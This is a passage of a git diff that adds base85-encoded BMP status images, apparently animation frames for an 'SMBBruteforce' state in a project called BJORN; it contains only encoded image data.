z6}qzNR5pbIVi*JsLv(m028tSC{xS<#!~1yaT(|p5DEYnr0ir2Gs#3I z1qpbbdMiXUHUR|@F$z!;hDE_nu;M`s16?5onav=-&nkf4GD-O?A(Mth zSc-U%2x!a&ivAB)mV%W>r*mmkwjyOG#$h6XPQo&9Xa^c>Ll{I{s%Bzn{Pd~fhs19e z3=^Zu=$kjES`KV1u3VR1*wWDS4ipqVSl7u);Q3A_OH`fub)baizyXsCN&!m3G669K z2Xs|POCz%BL=K(AV^D#vJSL4lp%ze1%!O?DY`{viMo9S_DUS^doK$@DzOLYUCJj{Q z(7?1q;)3j_5V>SLNES8*UKq?wamOit^+i=>)$gG1L&@b}NZL|be&bTx`=>vW6;%E8 z*Iz8nOi+3Yf}B`<3IGL$W|1+9frF|D<4FT9(eezNJuUJuHkT&5kLt%zX+9Ow#IrGLgMW>G~fs*pt%FvvnGQAEZI z3D%iG?7A3%y2=!eKrk@ycAj}3%1E0wuV>lpRDR{+x zLRUo$16(>qk+nc7MSL=WkOBsUFp;kk9$Um!^Z|%og{}}?0*pm40<3}*3c6*nQ9UO|XjCG$5xKqDUdK9YnEX5N%oL#6WI> z7foZQw2`sEqvL^cd8FoP?;3blnDnLd?p-H)JB_)@ zPIQY1PsouE9^ElKGJ#75O9H%*MgUAgDjs8QDCL0Mr6?$w6kq}dSR!GhEbGJoUhHzn zOh*l7YO;S~!SL=DpIP{i>N@Gmz`)D&j109oDkKB7WN%KWJ4eI-@6a$HbVUq;ltq-# z2^cd2FtLDPNW>xmN)8prB_loUNU5uBotTz$W=xfe1f88feCZuHC!;YiLBcs`5+=%{hJ|Ot2%<0m3^larP_%*4#kB3X!B-T%bEM z+7IFp4d*FO<8s&+FPxji`uqg_L-+h+tdpLOjg5YH>?n=Fob~NDD1*gbT!Igu?8?C7 z&6YZ_$zFEM0CxtTWV&e1w|W|j*OnId_xJt5!T;dlKgRmLk3+*lo3?DmqfrZHOhYeO zBtV*D4Rvg2STbB+ZN@j+ni^rjK_B&N_V*kA@bW*;3Iv|ixVQINU2PS3*QBmGQ)T)T z_4#wGEG^<(|#D{qFGn`@etR|L%g1 zCHU~`|68md?$JMY<^K{ZQ1QPYt}|#lG6VJ+>d=F literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce5.bmp b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce5.bmp new file mode 100644 index 0000000000000000000000000000000000000000..68fe849175c9178c33154c3a74120c5a120abe23 GIT binary patch literal 18462 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 VP%z&^`Mi@2|{(pP^0lxqM literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce6.bmp b/resources/default_config/characters/BJORN/status/SMBBruteforce/SMBBruteforce6.bmp new file mode 100644 index 0000000000000000000000000000000000000000..c7b26b5b06e683e2312d59826244541d48104536 GIT binary patch literal 18462 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 